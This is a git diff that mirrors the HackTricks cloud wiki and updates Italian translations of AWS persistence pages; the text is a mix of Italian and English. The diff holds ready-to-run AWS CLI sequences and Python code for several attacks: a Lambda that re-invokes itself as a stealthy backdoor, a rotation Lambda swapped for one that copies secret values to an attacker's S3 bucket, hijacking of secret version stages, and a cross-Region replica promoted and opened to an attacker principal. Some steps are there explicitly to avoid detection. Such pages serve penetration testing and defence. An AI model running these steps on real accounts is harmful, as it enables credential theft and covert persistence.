mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 14:23:16 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l
This commit is contained in:
@@ -1,25 +1,27 @@
|
||||
# AWS - Lambda Persistenza di Auto-Loop Asincrono via Destinations + Recursion Allow
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abusa delle Destinations asincrone di Lambda insieme alla configurazione Recursion per far sì che una funzione si reinvichi continuamente senza uno scheduler esterno (no EventBridge, cron, ecc.). Di default Lambda interrompe i loop ricorsivi, ma impostando la recursion config su Allow li riattivi. Le Destinations consegnano lato servizio per gli invoke async, quindi una singola seed invoke crea un canale stealthy di heartbeat/backdoor senza codice. Opzionalmente limita la velocità con reserved concurrency per mantenere basso il rumore.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa delle Destinations asincrone di Lambda insieme alla configurazione Recursion per far sì che una funzione si re-invii continuamente senza uno scheduler esterno (nessun EventBridge, cron, ecc.). Di default, Lambda interrompe i loop ricorsivi, ma impostare la recursion config su Allow li riabilita. Le Destinations consegnano lato servizio per le invoke async, quindi una singola seed invoke crea un canale stealthy, senza codice, tipo heartbeat/backdoor. Opzionalmente limita con reserved concurrency per mantenere basso il rumore.
|
||||
|
||||
Note
|
||||
- Lambda non permette di configurare direttamente la funzione come sua stessa destination. Usa un function alias come destination e consenti all'execution role di invoke quell'alias.
|
||||
- Permessi minimi: possibilità di leggere/aggiornare l'event invoke config e la recursion config della funzione target, pubblicare una version e gestire un alias, e aggiornare la policy dell'execution role della funzione per permettere lambda:InvokeFunction sull'alias.
|
||||
- Lambda non permette di configurare direttamente la funzione come sua stessa destination. Usa un function alias come destination e consenti all'execution role di invocare quell'alias.
|
||||
- Permessi minimi: capacità di leggere/aggiornare l'event invoke config e recursion config della funzione target, pubblicare una versione e gestire un alias, e aggiornare la policy dell'execution role della funzione per permettere lambda:InvokeFunction sull'alias.
|
||||
|
||||
## Requisiti
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Passaggi
|
||||
## Steps
|
||||
|
||||
1) Ottieni l'ARN della funzione e l'attuale impostazione Recursion
|
||||
1) Ottieni l'ARN della funzione e l'impostazione Recursion corrente
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Pubblica una versione e crea/aggiorna un alias (usato come destinazione verso la stessa funzione)
|
||||
2) Pubblica una versione e crea/aggiorna un alias (usato come destinazione verso sé stesso)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configurare async destination sull'alias (self via alias) e disabilitare i retries
|
||||
4) Configurare la destinazione asincrona sull'alias (se stesso tramite alias) e disabilitare i retry
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -58,7 +60,7 @@ aws lambda put-function-event-invoke-config \
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Permettere loop ricorsivi
|
||||
5) Consentire loop ricorsivi
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
@@ -78,7 +80,7 @@ aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Pulizia
|
||||
Interrompere il loop e rimuovere la persistence.
|
||||
Interrompi il loop e rimuovi la persistenza.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impatto
|
||||
- Un singolo async invoke fa sì che Lambda si reinvoci continuamente senza uno scheduler esterno, abilitando stealthy persistence/heartbeat. Reserved concurrency può limitare il rumore a una singola warm execution.
|
||||
- Una singola async invoke fa sì che Lambda si reinvoci continuamente senza uno scheduler esterno, permettendo stealthy persistence/heartbeat. Reserved concurrency può limitare il rumore a una singola warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# AWS - Secrets Manager Persistenza
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,13 +12,13 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### Tramite Resource Policies
|
||||
|
||||
È possibile **concedere l'accesso a secrets ad account esterni** tramite resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per maggiori informazioni. Nota che per **access a secret**, l'account esterno avrà anche **need access alla KMS key che cifra il secret**.
|
||||
È possibile **grant access to secrets to external accounts** tramite resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per maggiori informazioni. Nota che per **access a secret**, l'account esterno avrà anche **need access to the KMS key encrypting the secret**.
|
||||
|
||||
### Tramite Secrets Rotate Lambda
|
||||
|
||||
Per **ruotare i secrets** automaticamente viene invocata una **Lambda** configurata. Se un attacker potesse **change** il **code** potrebbe esfiltrare direttamente il nuovo secret a sé stesso.
|
||||
Per **rotate secrets** automaticamente viene chiamata una configurata **Lambda**. Se un attacker potesse **change** il **code** potrebbe direttamente **exfiltrate the new secret** verso sé stesso.
|
||||
|
||||
Ecco come potrebbe apparire il lambda code per tale azione:
|
||||
This is how lambda code for such action could look like:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,34 +48,28 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Sostituire la Lambda di rotazione con una funzione controllata dall'attaccante tramite RotateSecret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
|
||||
|
||||
Abusa di `secretsmanager:RotateSecret` per ricollegare un secret a una Lambda di rotazione controllata dall'attaccante e innescare una rotazione immediata. La funzione malevola esfiltra le versioni del secret (AWSCURRENT/AWSPENDING) durante i passaggi di rotazione (createSecret/setSecret/testSecret/finishSecret) verso un sink dell'attaccante (es., S3 o HTTP esterno).
|
||||
Abusa di `secretsmanager:RotateSecret` per ricollegare un secret a una rotation Lambda controllata dall'attaccante e forzare una rotazione immediata. La funzione malevola esfiltra le versioni del secret (AWSCURRENT/AWSPENDING) durante i passaggi di rotazione (createSecret/setSecret/testSecret/finishSecret) verso una destinazione dell'attaccante (es. S3 o HTTP esterno).
|
||||
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sulla Lambda dell'attaccante, `iam:CreateRole/PassRole/PutRolePolicy` (o AttachRolePolicy) per fornire il ruolo di esecuzione della Lambda con `secretsmanager:GetSecretValue` e preferibilmente `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (così la rotazione continua a funzionare), KMS `kms:Decrypt` per la KMS key del secret, e `s3:PutObject` (o egress in uscita) per l'esfiltrazione.
|
||||
- Un SecretId di destinazione (`SecretId`) con la rotazione abilitata o la possibilità di abilitarla.
|
||||
|
||||
- Impact
|
||||
- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
|
||||
- L'attaccante ottiene il/i valore/i del secret senza modificare il codice di rotazione legittimo. Viene cambiata solo la configurazione di rotazione per puntare alla Lambda dell'attaccante. Se non viene notato, le rotazioni programmate future continueranno a invocare la funzione dell'attaccante.
|
||||
|
||||
- Attack steps (CLI)
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
|
||||
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
|
||||
3) Rebind rotation and trigger
|
||||
1) Prepara la destinazione di esfiltrazione e il ruolo Lambda dell'attaccante
|
||||
- Crea un bucket S3 per l'esfiltrazione e un ruolo di esecuzione trusted da Lambda con i permessi per leggere il secret e scrivere su S3 (più logs/KMS come necessario).
|
||||
2) Deploy della Lambda dell'attaccante che ad ogni step di rotazione recupera il/i valore/i del secret e li scrive su S3. Una logica minima di rotazione può semplicemente copiare AWSCURRENT in AWSPENDING e promuoverla in finishSecret per mantenere il servizio funzionante.
|
||||
3) Ricollega la rotazione e attiva
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
|
||||
5) (Optional) Restore the original rotation Lambda to reduce detection.
|
||||
4) Verifica l'esfiltrazione elencando il prefisso S3 per quel secret e ispezionando gli artifact JSON.
|
||||
5) (Optional) Ripristina la Lambda di rotazione originale per ridurre il rischio di rilevamento.
|
||||
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Ambiente: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
@@ -102,18 +96,18 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
### Version Stage Hijacking per persistenza nascosta (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Abusa delle etichette di staging delle versioni di Secrets Manager per inserire una versione del secret controllata dall'attaccante e tenerla nascosta sotto uno stage personalizzato (per esempio, `ATTACKER`) mentre la produzione continua a usare l'originale `AWSCURRENT`. In qualsiasi momento, sposta `AWSCURRENT` sulla versione dell'attaccante per avvelenare i workload dipendenti, quindi ripristinalo per ridurre al minimo il rilevamento. Questo fornisce una persistenza backdoor furtiva e una rapida manipolazione del time-of-use senza cambiare il nome del secret o la configurazione di rotazione.
|
||||
Abusa delle etichette di stage di versione di Secrets Manager per inserire una versione del secret controllata dall'attaccante e mantenerla nascosta sotto uno stage personalizzato (per esempio, `ATTACKER`) mentre la produzione continua a usare l'originale `AWSCURRENT`. In qualsiasi momento, sposta `AWSCURRENT` sulla versione dell'attaccante per avvelenare i workload dipendenti, quindi ripristinala per minimizzare il rilevamento. Questo fornisce persistenza backdoor furtiva e una rapida manipolazione del time-of-use senza cambiare il nome del secret o la rotation config.
|
||||
|
||||
- Requisiti
|
||||
- Autorizzazioni: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (per verifica)
|
||||
- ID del secret di destinazione nella Region.
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
|
||||
- Target secret id in the Region.
|
||||
|
||||
- Impatto
|
||||
- Mantenere una versione nascosta e controllata dall'attaccante di un secret e commutare in modo atomico `AWSCURRENT` su di essa su richiesta, influenzando qualsiasi consumer che risolva lo stesso nome del secret. La commutazione e il rapido ripristino riducono la probabilità di rilevamento pur consentendo una compromissione al momento dell'uso.
|
||||
- Impact
|
||||
- Mantieni una versione nascosta e controllata dall'attaccante di un secret e commuta in modo atomico `AWSCURRENT` su di essa su richiesta, influenzando qualsiasi consumer che risolva lo stesso nome del secret. La commutazione e il rapido ripristino riducono la probabilità di rilevamento permettendo allo stesso tempo la compromissione al momento dell'uso.
|
||||
|
||||
- Passaggi dell'attacco (CLI)
|
||||
- Attack steps (CLI)
|
||||
- Preparazione
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
@@ -168,20 +162,20 @@ aws secretsmanager update-secret-version-stage \
|
||||
</details>
|
||||
|
||||
- Note
|
||||
- Quando fornisci `--client-request-token`, Secrets Manager lo usa come `VersionId`. Aggiungere una nuova versione senza impostare esplicitamente `--version-stages` sposta `AWSCURRENT` alla nuova versione per impostazione predefinita e marca quella precedente come `AWSPREVIOUS`.
|
||||
- Quando fornisci `--client-request-token`, Secrets Manager lo usa come `VersionId`. Aggiungere una nuova versione senza impostare esplicitamente `--version-stages` sposta `AWSCURRENT` sulla nuova versione per default e marca quella precedente come `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Abusa della replication multi-Region di Secrets Manager per creare una replica di un secret target in una Region meno monitorata, crittografarla con una chiave KMS controllata dall'attaccante in quella Region, quindi promuovere la replica a secret standalone e allegare una resource policy permissiva che conceda all'attaccante l'accesso in lettura. Il secret originale nella Region primaria resta invariato, fornendo un accesso duraturo e furtivo al valore del secret tramite la replica promossa, aggirando i vincoli KMS/policy sulla primaria.
|
||||
Abusa della replica multi-Region di Secrets Manager per creare una replica di un secret target in una Region meno monitorata, criptarla con una KMS key controllata dall'attacker in quella Region, quindi promuovere la replica a secret standalone e allegare una permissive resource policy che conceda all'attacker accesso in lettura. Il secret originale nella Region primaria rimane invariato, fornendo un accesso duraturo e stealthy al valore del secret tramite la replica promossa, bypassando i vincoli di KMS/policy sulla primaria.
|
||||
|
||||
- Requisiti
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Nella replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) per permettere al principal attaccante `kms:Decrypt`.
|
||||
- Un principal attaccante (user/role) che riceva accesso in lettura al secret promosso.
|
||||
- Nella replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) per permettere al attacker principal `kms:Decrypt`.
|
||||
- Un attacker principal (user/role) per ricevere accesso in lettura al secret promosso.
|
||||
|
||||
- Impatto
|
||||
- Percorso di accesso cross-Region persistente al valore del secret tramite una replica standalone sotto un CMK KMS controllato dall'attaccante e una resource policy permissiva. Il secret primario nella Region originale resta intatto.
|
||||
- Percorso di accesso cross-Region persistente al valore del secret tramite una replica standalone sotto un KMS CMK controllato dall'attacker e una permissive resource policy. Il secret primario nella Region originale resta intatto.
|
||||
|
||||
- Attacco (CLI)
|
||||
- Variabili
|
||||
@@ -192,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Crea attacker-controlled KMS key nella replica Region
|
||||
1) Creare attacker-controlled KMS key nella Region di replica
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -218,7 +212,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Allega una resource policy permissiva sul secret standalone in R2
|
||||
4) Allegare una resource policy permissiva al secret standalone in R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -226,9 +220,9 @@ JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Leggi il secret dal principal dell'attaccante in R2
|
||||
5) Leggi il secret dall'attacker principal in R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user